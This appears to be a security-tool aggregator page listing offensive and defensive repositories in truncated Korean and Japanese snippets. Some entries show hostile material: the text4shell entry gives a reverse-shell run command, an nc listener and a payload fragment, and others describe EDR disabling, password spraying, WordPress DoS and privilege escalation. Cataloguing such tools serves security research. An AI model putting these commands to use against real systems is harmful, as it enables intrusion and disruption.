DDexec

DDexec 소식 DDexec를 거의 알아볼 수 없을 정도로 업데이트했습니다. ELF 파싱은 이제 셸 스크립트 대신 기계어 코드로 수행되어 훨씬 빠르고, 신뢰할 수 있으며, 이해하기 쉬워졌습니다. 또한 의존성 수를 최소한으로 줄였습니다. 또한 이제 셸의 산술 연산에 거의 의존하지 않아 Android에서도 작동할 수 있습니다. 배경 Linux에서 프로그램을 실행하려면 파일로 존재해야 하며, 파일 시스템 계층 구조를 통해 접근 가능해야 합니다이는 execve 작동 방식입니다. 이 파일은 디스크나 램tmpfs, memfd에 있을 수...

reconftw

reconFTW !Dockerhttps://img.shields.io/badge/docker-%230db7ed.svg?style=for-the-badge&logo=docker&logoColor=w...

HunterScrape

이것은 hunter.io API를 사용하여 대상 도메인의 데이터를 가져온 후 대상 이메일 목록을 생성하는 python 스크립트입니다. 주로 Go365 또는 TREVORspray와 같은 도구를 사용한 패스워드 스프레이 공격을 위해 사용됩니다. 사용법: HunterScrape-Dev.py -h -d DOMAIN -k KEY -l LIMIT -f -o OUTFILE 옵션: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -d DOMAIN, --domain DOMAIN 대상 도메인을 지정합니다 -k KEY, --key KE...

kalimux

...

FarsightAD

FarsightAD 목차 FarsightAD 목차 설명 사전 요구 사항 기본 사용법 AD 헌팅 cmdlet 데모 완전/부분적으로 숨겨진 객체 탐지 감사의 말 감사 인사 저자 라이선스 설명 FarsightAD는 Active Directory 도메인 침해 이후 위협 행위자가 배포한 가능한 지속성 메커니즘을 발견하는 데 도움을 주기 위해 설계된 PowerShell 스크립트입니다. 이 스크립트는 복제 메타데이터의 타임스탬프로 보강된 다양한 객체와 해당 속성들을 CSV/JSON 파일로 내보냅니다. 또한, 복제 권한으로 실행될 경우...

MoveEdr

MoveEDR 管理者であれば、ブート直後でサービスが開始される前に、Windows にフォルダやファイルの削除・移動を強制させることができます。これは EDR を無効化するために利用できます。 使い方 !CAUTION CrowdStrike には問題があり、「INACCESSIBLEBOOTDEVICE」というメッセージが表示されてブートループに陥ります。 私の推測では、CrowdStrike 自体かソフトウェア展開ソリューションが、欠落した CrowdStrike ファイルをインストールしようとするものの失敗し、壊れた状態のまま残してしまうのだと思います。...

webcopilot

WebCopilot 서브도메인을 열거한 후 xss, sqli, open redirect, lfi, ssrf, rce 파라미터를 필터링하고 취약점을 스캔하는 자동화 도구입니다. 기능 • 설치 • 사용법 • WebCopilot 실행 • 사용된 도구 • 감사의 말 WebCopilot 은 대상의 서브도메인을 열거하고 다양한 오픈 소스 도구를 사용하여 버그를 탐지하도록 설계된 자동화 도구입니다. 이 스크립트는 먼저 assetfinder, sublister, subfinder, amass, findomain, hackertarget,...

POC-CVE-2021-41773

POC-CVE-2021-41773 これは、CVE-2021-41773 に対して脆弱な Apache HTTPd 2.4.49 用のシンプルなスクリプトです。 使用方法: 1つのIPをチェック ファイルからチェック...

Wifi-Purple

🌐 WIFI-PURPLE 🌐 와이파이 해킹 자동화 스크립트 이 Python 스크립트 "WIFI-PURPLE"은 WiFi 보안 테스트 및 해킹을 위해 설계된 네트워크 도구입니다. 사용자 친화적인 명령줄 인터페이스를 제공하며, 다양한 무선 네트워크 관련 작업을 수행하기 위해 널리 사용되는 네트워크 도구를 활용합니다. 𝗜nstallation root@kitploit: git clone https://github.com/emrekybs/Wifi-Purple.git cd Wifi-Purple sudo ./install.sh python...

CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640 : 権限昇格 CVE-2023-32629 & CVE-2023-2640 を使用した Ubuntu 権限昇格 bash ワンライナー。 完全に https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 からパクりました 元のソースをリツイートしてください このスクリプトを自分のために Github に保存しておき、簡単に共有したかっただけです。...

text4shell-exploit

text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...

CVE-2011-1473-POC

CVE-2011-1473-POC CVE-2011-1473 POCスクリプト 使用方法 root@kitploit: python3 poc-CVE-2011-1473.py --target TARGETHOST --count 5 --debug...

cve-2020-1350

これは、コンピュータが属するドメインのすべてのADサーバーを取得するPowerShellスクリプトです。その後、それらのサーバーにCVE 2020-1350 DNSの回避策を設定し、DNSを再起動します。 注記!! DNSを再起動するため、実行にはメンテナンスウィンドウが必要になる場合があります。この回避策はサーバーのパッチ適用を回避できるという意味ではありませんが、特にインターネット上にWindowsサーバーがある場合、時間を稼ぐのに役立つはずです。 cve-2020-1350の詳細はこちら -...

CVE-2020-3452

CVE-2020-3452 Cisco Adaptive Security Appliance ASA および Cisco Firepower Threat Defense FTD アプライアンスの Web インターフェースにおけるディレクトリトラバーサル脆弱性を悪用するための WIP Python スクリプトです。指定されたターゲットに対してディレクトリが作成され、ダウンロードされたファイルはそれぞれのディレクトリに保存されることに注意してください。また、ログ機能も提供されています。...

CVE-2017-5638

CVE-2017-5638 このスクリプトは、Apache Struts 2 の脆弱性（CVE-2017-5638）、別名 Struts-Shock を検証するためのものです。このスクリプトは完全に無害であり、悪意のあるペイロードを注入せず、'STRUTS2-VALIDATION' というHTTPヘッダーを注入するだけで、脆弱性があるかどうかを検証できるようにします。 マルチスレッド機能により、世界中に散らばる2,500以上のアプリケーションを10分以内に実行できます。そのため、大規模なエンタープライズアプリケーションを検証するのに非常に便利です。 使用方法...

CVE-2026-34156

🚨 CVE-2026-34156 - NocoBase 重大なサンドボックスエスケープ NocoBase における未認証 / 低権限 → Root リモートコード実行 📌 概要 CVE-2026-34156 は、NocoBaseオープンソースのノーコード / ローコードプラットフォームにおける重大なサンドボックスエスケープの脆弱性です。 ワークフロースクリプトノード を作成または実行できる攻撃者低権限でも可は、Node.js の vm サンドボックスをエスケープし、コンテナ内でroot としての完全なリモートコード実行 を達成できます。 影響を受けるバージョン NocoBase 2.0....

Wordpress-DOS

Wordpress サイト向け CVE-2018-6389 エクスプロイト Wordpress サイトの未パッチの脆弱性を標的とした小さな DOS スクリプト。 /wp-admin/load-scripts.php を使用して、ホスティングサーバーに追加のスクリプトを要求します。 リクエストペイロードとして多数のスクリプトリストを含みます。 この実装はテスト目的のみです。 使用方法 python wpdos.py -t 5000 -g 'https://www.wordpresswebsite.co.za' -t はリクエストが実行されるスレッド数を指定します。 -g は GET...

ConditionalAccessDocumentation

PowerShell で条件付きアクセスを文書化する この PowerShell スクリプトは、Microsoft Entra の条件付きアクセスポリシーを文書化します。スクリプトはすべてのデータを csv ファイルとしてエクスポートし、Excel ブックとして見やすく整形できます。 すべてのポリシーを取得して文書化できるように、スクリプトは Microsoft Graph Beta API エンドポイントを使用します。 インストールと使用方法 1. PowerShell ギャラリーからこのスクリプトをインストールします（依存する Microsoft.Graph.Authenticati...

dotNetPELoader

dotNetPELoader セキュリティに関する注意 最近、このプロジェクトの非公式な改変版がこのリポジトリ外で再配布されていることを発見しました。 ファイルをレビューした結果、公式のソースコードには存在しない 追加の隠しコンポーネントやスクリプト読み込み動作を特定しました。 ご注意ください： 非公式配布物には、元のソースコードの一部ではない 追加の実行可能ファイルやスクリプト読み込み要素が含まれています。 このプロジェクトの公式リリースはこのリポジトリのみ で公開されています。 公式リリースには、追加のバッチファイル、隠しローダー、埋め込みスクリプトコンポーネントは含まれていません。...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h ヘルプ情報を表示 ··· Redis にはRedis Luaスクリプトのリモートコード実行の脆弱性CVE-2025-49844が存在します。この脆弱性の根本的な原因は、Redis の Lua スクリプトエンジンとメモリ管理ロジックの相互作用に設計上の欠陥があることです。 ··· ··· 関連URL：https://nvd.nist.gov/vuln/detail/CVE-2025-49844 ··· 免責事項：このスクリプトは許可を得た環境でのみ使用してください。無許可のネットワーク攻撃への使用は禁止されてい...